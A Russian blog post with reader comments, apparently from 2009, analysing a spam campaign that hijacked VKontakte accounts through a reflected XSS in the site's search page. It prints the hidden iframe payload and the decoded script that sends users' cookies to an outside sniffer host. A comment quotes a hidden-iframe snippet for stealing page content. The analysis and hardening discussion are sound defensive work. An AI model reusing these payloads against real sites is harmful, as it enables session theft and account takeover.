Предыстория (можно не читать)
Прихожу я сегодня домой и вижу в личке вконтакта 9 сообщений. Т.к. я не особо люблю и не часто посещаю этот ресурс — сие событие было странным. В сообщениях пользователи писали что от меня вконтакте рассылается спам. Плохо, но да ладно, сменил пароль и все… Хотя задумался: старый пароль — 12 символьный цифробуквенный, сбрутить почти нераельно. Комп кристально чист и не заразен… Так в чем же дело?
Разбор полетов
Смотрю текст сообщения, разосланного от моего имени:
привет, этo не cпам!раccылаю этo cooбщение вcем cвoим друзьям.я cегoдня удалю cвoю cтраничку вкoнтакте,дocтал cпам oкoнчательнo.Так чтo,еcли чтo-тo будет нужнo,либo звoни\пиши на мoбильник,либo ищи меня здеcь http://odnonochniki.?tk/,там xoтя бы cпама нету) ,я пoд cвoей фамилией и имнем.вoт так.
И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.
А теперь заходим на эту страничку (
из незалогиненного браузера!), и смотрим код. Что же мы видим?
В коде подгружается скрытый плавающий фрейм:
<iframe src='http://%76%6b%6f%6e%74%61%6b%74%65%2e%72%75/gsearch.php?q=%27;()())//\%27;document.write(String.fromCharCode(60,115,99,114,105,112,тут было еще много цифр через запятую, которые растягивали страницу и за это их забрало НЛО. Если кому они действительно нужны - в личку))//%22;%3C%3E%22)//\%22;%3C%3E%22%3C%3E%22%22!---%22?%3E#c[q]=%27%3B()())%20%20\&c[section]=people' style='display:none;'></iframe>
Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется Javascript-код, в данном случае это закодированый в ASCII код еще одного фрейма:
<script>document.write('<iframe src="http://webzer.vov.ru/s.php?dc='+document.cookie+'" style="display:none;"></iframe>');</script>
Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.
Уязвимость актуальна на момент написания, простой алерт (проверено под оперой)
демонстрирует это. В IE не работает, т.к. там нет поддержки протокола «data:», а я не специалист по написанию эксплоитов.
Некоторые выводы
- Не ходить по левым ссылкам.
- Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет
UPD: Пример с алертом перестал работать уже через 3.5 часа после публикации. Для тех, кто не успел посмотреть сохранился
скриншот.
комментарии (144)
не понимаю…
Вкратце — програмист-верстальщик-дизайнер.
Хотя со всеми бывает… Может человеческий фактор.
Хотя избегать XSS — проще простого.
2. винду делают между прочим на высочайшем уровне на котором ни вам и ни мне не снилось даже. cmm5 в полной мере это вам не вася пупкин ко. а то что у них есть баги — я бы на вас глянул с таким обьемом кода сколько бы там багов было.
плохо то что программситы знают о дыре и не закрывают.
либо это кому то выгодно, либо это кому то выгодно :) ибо уважающий себя программист узнав о дыре сразу же полезет ее латать.
лично я не вижу других причин не закрывать зная про нее
2. Я не знаю, что такое cmm5, я про интерфейс. Извините, но эти несчастные меню, окошки, диалоги сохранения файла, и прочая хрень (Меню «Пуск», когда же оно сдохнет!), стыренная у ксерокса и эппл, придуманы лет 30 назад, они давно и безнадежно устарели. Впрочем, когда МС тырит идеи, это еще ничего, а вот когда сами придумывают, получается ужас типа ribbon. Хотя наверно, это вечный религиозный спор :)
Программситы, авозможно, все заняты, им не до этого, и с чего кстати вы взяли, что они о ней знают.
У нее сейчас то интерфейс непонятный, без толстенного мануала не разберешься. а vi вообще человеку нормальному не осилить.
А вот у её знакомой в одноглазниках было ещё интереснее: аналогичный спам, но разным людям — разный, причём сделано просто офигенно, и выглядит как продолжение переписки (с цитированием и более-менее осмысленным комментарием), после которого идёт «кстати, я тут в конкурсе участвую, бла-бла-бла....». Самое интересное — конкурс от самих одноглазников. Что ещё интереснее — через пару дней письма самопроизвольно удалились.
«Если Вы считаете, что для успешной работы программисту требуются специальные тестеры и менеджеры по качеству, мы с Вами живем в разных мирах.»
Так вот к тому же ФФ есть Noscript, который по идеи такую заразу должен уметь резать.
Но страдает от этого «браузер» и поэтому дополнения вроде Noscript безусловно полезны и выполняют свои функции неплохо.
Блин, какие-то умники заминусовали..:(
offtop: Не первый год с интересом наблюдаю за всем, что творится в этих вконтактах-одноклассниках-соседях-социалках и тихо радуюсь, что до сих пор так и не зарегистрировался там.
Неужели это было непонятно раньше? ;)
А то у меня нет логиа вконтакте, не могу посмотреть что там по ссылке.
P.S. Хотя нет, наверное все-таки обозначает. Знаете, в рулетке когда 777 выпадает — Удача значит! =)
Сначала csrf а уже внутри xss
Тема безопасности вконтакте может собрать много прикольных аббревиатур…
пардон тогда, это не совсем очевидно из текста поста для людей, которые редко пользуются сабжем.
где тут xss?
csrf там потому что можно работать с контактом через чужой сайт заполняя нужные поля автоматом
ваш КО
…
«В IE не работает, т.к. там нет поддержки протокола «data:»»
Ну и кто тут безопаснее?
А вообще, наивно думать, что существует безопасный браузер. «Я пользуюсь оперой, теперь меня не достанут хакеры!», «ЗА FF я как за каменной стеной!»
А у них полноценный кросс-браузерный прикол.
безопастной бывает только гиря без ручки, в квадратном цементном блоке и то не на 100%
он смотрит содержимое страницы, декодит все ссылки в plaintext, а потом если находит в них переход на vkontakte.ru с левого сайта, то запрашивает подтверждение у пользователя.
такие реквесты будут всплывать не часто (у меня может раз в 2 дня), а защита хорошая. что-то типо UAC в висте.
хорошо было бы все это написать как userjs, да вот только не факт, что яваскрипт успеет вовремя перехватить злобный переход
Server error
Это, похоже, не только яваскриптовая, но и внутренняя инъекция!
«Закроется» ли эта бага, если везде будет нормальный escaping?
(не сотрудник ВКонтакте, интересует потенциально для своих сайтов)
не силен в технологии, но куки воруют от многих сайтов, сколько раз уже писали на free-lance.ru про подобные случаи
У меня для всяких подозрительных ссылок отдельный браузер, с чистыми куками и кэшем, мало ли…
Так-то )
Безопасный браузер ничего не гарантирует
но точно ли спасет?
Я что-то не пойму, кто все-таки виноват? Если я ногой случайно сетевой фильтр выключу — это майкрософт виноват, что я под виндой работаю?
А вообще опера вроде частично блочит джаваскрипт между фрэймами с разными доменами?
Насчет фреймов. Встречал я вот такой кусочек кода:
var iframe = document.createElement('IFRAME');
//have the IFRAME download the content we want to steal
iframe.src = 'http://site.com/AddressBook.php);
//make the IFRAME invisible
iframe.style=«width:0px; height:0px; border: 0px»
//set our function to call when the IFRAME is done loading
iframe.onload = callbackFunction;
//now add the IFRAME to the DOM.
Document.body.appendChild(iframe);
Это к слову для организации CSRF. Получается можно загружать и с разных хостов.
… durov 25.04.2009 21:55:48 #… Взламывают через фишинговые сайты, как и везде…
… durov 26.04.2009 07:56:36 #… был слив паролей с сайта free-lance.ru…
ну и т.д.
Будь это сайт, машина, телефон(привет iphone с псевдоуязвимостью), самый банальный справочник/учебник.
По сколько раз их переиздают/пересоздают? и, заметте, не просто так.
Это нормальный процесс. Отвалилась штукатурка, закрасили
И почему-то кажется что хоть одним глазком его читают все. Хотябы тему сообщения.
Если бы они использовали httponly куки для авторизации, то как минимум не пострадали бы пользователи браузеров поддерживающих такие куки:
www.owasp.org/index.php/HTTPOnly
Странно что кто то для session id еще использует куки без httponly. Может я чего то не знаю и на это есть причины?
или вконтакт поддерживает какой-нибудь сумасшедший и щедрый миллионер / РФ?
или нет?
Хотел было приколоться, сделать сервис «Залогинься на любой аккаунт вконтакта». Не успел :)